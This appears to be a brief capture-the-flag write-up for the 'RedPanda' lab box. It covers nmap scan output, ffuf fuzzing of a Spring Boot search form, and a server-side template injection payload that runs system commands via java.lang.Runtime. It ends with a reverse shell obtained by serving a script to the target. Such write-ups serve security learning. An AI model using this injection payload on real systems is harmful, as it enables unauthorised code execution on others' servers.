RedPanda

nmap

```
└─$ nmap -sC -sV -oN nmap/init.nmap 10.10.11.170
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-01 20:27 EDT
Nmap scan report for 10.10.11.170
Host is up (0.091s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open  http-proxy
|_http-title: Red Panda Search | Made with Spring Boot
|_http-open-proxy: Proxy might be redirecting requests
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200
|     Content-Type: text/html;charset=UTF-8
|     Content-Language: en-US
|     Date: Wed, 02 Aug 2023 00:27:10 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en" dir="ltr">
```

Looks like a webserver on 8080

We also see that the webserver uses a framework called Spring Boot, which is based on Java

ssti

The webserver accepts user input for searching

ffuf -request search.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -fs 724
-> By fuzzing special characters on the search, we see that characters like { give a different response
-> This probably means the webserver is vulnerable to SSTI

Looking on hacktricks, the following payload gets successful injection and executes `id`:
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Classic reverse shell payload fails, write the shell on local machine, serve it to the box, then do
`bash /path/to/shell.sh`

User owned.